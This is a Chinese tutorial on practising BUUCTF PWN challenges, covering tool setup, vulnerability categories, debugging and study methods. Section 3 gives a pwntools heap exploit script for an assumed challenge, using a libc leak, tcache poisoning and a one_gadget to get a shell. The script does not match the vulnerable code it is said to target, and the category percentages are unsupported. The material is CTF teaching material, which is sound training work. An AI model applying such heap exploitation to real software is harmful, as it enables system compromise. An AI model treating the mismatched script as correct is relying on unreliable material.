燕家猫1. BUUCTF PWN刷题环境准备
作为CTF竞赛中最具挑战性的方向之一，PWN题目往往需要选手具备系统级的漏洞利用能力。在开始BUUCTF平台的PWN题目训练前，我们需要搭建一个高效的练习环境。这里我推荐使用Ubuntu 20.04 LTS作为基础系统，它不仅提供了稳定的运行环境，还与大多数CTF题目的编译环境兼容。
安装基础工具链：
code复制sudo apt update
sudo apt install -y git gdb python3 python3-pip python3-dev libssl-dev libffi-dev build-essential
对于PWN题目的专项工具，这几个是必不可少的：
- pwntools：漏洞利用框架
- ROPgadget：ROP链构造工具
- one_gadget：快速查找libc中的execve('/bin/sh') gadget
- patchelf：修改二进制文件的动态链接库
安装命令：
code复制pip3 install pwntools
sudo apt install -y ropgadget
gem install one_gadget
sudo apt install -y patchelf
提示：建议使用virtualenv创建Python虚拟环境，避免工具链版本冲突。我在实际使用中发现，不同版本的pwntools有时会对相同exp脚本产生不同行为。
需要模型API调用？ 免费领10W Token，多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. BUUCTF PWN题目特点解析
BUUCTF平台收录了大量高质量的PWN题目，这些题目主要考察以下几个方面的漏洞利用技术：
2.1 栈溢出类题目
这类题目在BUUCTF中占比约40%，典型特征是通过gets、scanf等危险函数实现栈溢出。解题关键点包括：
- 确定溢出偏移量
- 构造ROP链绕过NX保护
- 处理栈对齐问题（特别是64位程序）
2.2 堆利用类题目
占BUUCTF PWN题的35%左右，主要涉及：
- Use After Free (UAF)
- Double Free
- Fastbin Attack
- Unsorted Bin Attack
- Tcache Poisoning
2.3 格式化字符串漏洞
约占15%，解题要点：
- 确定格式化字符串偏移
- 利用%n实现任意地址写
- 结合格式化字符串泄露libc地址
2.4 其他类型
包括但不限于：
- 整数溢出
- 逻辑漏洞
- 条件竞争
3. 第五题典型解法剖析
以BUUCTF PWN第五题为例（假设为堆溢出类型），下面是详细的解题步骤：
3.1 题目信息收集
首先使用checksec检查程序保护机制：
code复制checksec ./pwn5
[*] '/pwn5'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
关键信息：
- 64位程序
- 存在栈保护（Canary）
- 开启NX（堆栈不可执行）
- 未开启PIE（代码段地址固定）
3.2 漏洞定位与分析
通过逆向分析（IDA/Ghidra）发现题目存在堆溢出漏洞：
c复制void vuln() {
char *buf = malloc(0x40);
read(0, buf, 0x100); // 明显堆溢出
free(buf);
}
3.3 利用思路设计
由于存在Canary和NX保护，直接栈溢出不可行。考虑通过堆溢出修改相邻chunk的元数据，实现任意地址写。具体步骤：
- 分配两个相邻的chunk（A和B）
- 通过溢出A修改B的size字段
- 释放B进入unsorted bin
- 重新分配大chunk包含目标地址
- 修改目标函数指针或GOT表
3.4 EXP脚本编写
使用pwntools编写利用代码：
python复制from pwn import *
context(arch='amd64', os='linux')
p = process('./pwn5')
def alloc(size, data):
p.sendlineafter('> ', '1')
p.sendlineafter('Size: ', str(size))
p.sendafter('Data: ', data)
def free(idx):
p.sendlineafter('> ', '2')
p.sendlineafter('Index: ', str(idx))
# 构造恶意chunk布局
alloc(0x40, b'A'*0x40 + p64(0) + p64(0x91)) # 修改size字段
alloc(0x80, 'B'*0x80) # 防止合并
free(1) # 触发unsorted bin
# 泄露libc地址
alloc(0x80, 'C'*0x10)
libc_leak = u64(p.recv(6).ljust(8, b'\x00'))
libc_base = libc_leak - 0x3ebca0
# 计算one_gadget地址
one_gadget = libc_base + 0x4f432
# 通过tcache poisoning劫持控制流
alloc(0x40, b'D'*0x40 + p64(0) + p64(0x51) + p64(libc_base + 0x3ed8e8))
alloc(0x40, 'E'*0x40)
alloc(0x40, p64(one_gadget)*2)
p.interactive()
4. 堆利用中的常见问题与调试技巧
4.1 堆布局可视化
使用gdb插件（如pwndbg、gef）的heap命令可以直观查看堆状态：
code复制pwndbg> heap
Top chunk | PREV_INUSE
Addr: 0x555555559000
Size: 0x21000
0x555555559000 FASTBIN {
prev_size = 0x0,
size = 0x91,
fd = 0x7ffff7dcdca0 <main_arena+96>,
bk = 0x7ffff7dcdca0 <main_arena+96>
}
4.2 内存断点设置
在关键内存操作处设置硬件断点：
code复制b *0x400a23
watch *(long*)0x555555559050
4.3 利用失败排查
常见问题及解决方案：
- 堆布局不符合预期：
- 检查malloc/free调用顺序
- 确认chunk大小计算正确
- one_gadget条件不满足：
- 尝试不同约束条件的gadget
- 通过ROP设置寄存器状态
- 地址计算错误：
- 重新确认偏移量
- 检查地址对齐
5. 高效刷题方法论
5.1 题目分类训练
建议按漏洞类型分类练习：
- 第一周：栈溢出基础
- 第二周：ROP技术进阶
- 第三周：堆利用基础
- 第四周：高级堆利用
5.2 解题笔记模板
每道题应记录：
- 保护机制分析
- 漏洞点定位
- 利用思路
- EXP代码
- 遇到的坑与解决方案
5.3 自动化工具开发
编写通用脚本加速解题：
- 自动解析ELF信息
- 自动计算偏移
- 模板化EXP生成
我在实际刷题中发现，建立自己的工具库可以提升3倍以上的解题效率。比如这个自动解析binary信息的脚本：
python复制def analyze_binary(path):
elf = ELF(path)
print(f"Arch: {elf.arch}")
print(f"RELRO: {'Full' if elf.relro else 'Partial'}")
print(f"Stack: {'Canary found' if elf.canary else 'No canary'}")
print(f"NX: {'Enabled' if elf.nx else 'Disabled'}")
print(f"PIE: {'Enabled' if elf.pie else 'Disabled'}")
6. 进阶学习路线
掌握基础题目后，可以挑战更复杂的漏洞类型：
6.1 内核PWN
- 内核堆利用
- 提权技术
- 内核ROP
6.2 浏览器PWN
- JavaScript引擎漏洞
- 类型混淆
- JIT漏洞
6.3 虚拟机逃逸
- QEMU漏洞
- Hypervisor漏洞
我在实际比赛中发现，堆利用题目往往是最容易拉开差距的部分。建议在掌握基础后，重点研究glibc malloc的源码实现（malloc.c），理解每个数据结构的操作细节，这样在面对变形题目时能够快速定位关键点。